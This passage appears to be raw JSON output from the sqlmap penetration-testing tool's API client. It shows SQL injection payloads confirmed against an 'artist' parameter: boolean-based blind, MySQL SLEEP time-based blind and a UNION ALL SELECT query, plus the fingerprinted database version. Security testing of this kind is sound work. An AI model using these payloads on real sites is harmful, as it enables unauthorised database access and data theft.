"matchRatio": 0.85, "trueCode": 200, "title": "AND boolean-based blind - WHERE or HAVING clause", "templatePayload": null, "vector": "AND [INFERENCE]", "falseCode": 200, "where": 1, "payload": "artist=1 AND 2794=2794" }, "5": { "comment": "", "matchRatio": 0.85, "trueCode": 200, "title": "MySQL >= 5.0.12 AND time-based blind", "templatePayload": null, "vector": "AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLE EPTIME]),[RANDNUM])", "falseCode": null, "where": 1, "payload": "artist=1 AND SLEEP([SLEEPTIME])" }, "6": { "comment": "[GENERIC_SQL_COMMENT]", "matchRatio": 0.85, "trueCode": null, "title": "Generic UNION query (NULL) - 1 to 20 colum ns", "templatePayload": null, "vector": [ 2, 3, "[GENERIC_SQL_COMMENT]", "", "", "NULL", 2, false, false ], "falseCode": null, "where": 2, "payload": "artist=-5376 UNION ALL SELECT NULL,NULL, CONCAT(0x716b706a71,0x4a754d495377744d4273616c436b4b6a504164666a5572477241596649 704c68614672644a477474,0x7162717171)-- aAjy" } } } ] }, { "status": 1, "type": 2, "value": "5.1.73-0ubuntu0.10.04.1" } ], "success": true, "error": [] } api (a42ddaef02e976f0)> exit $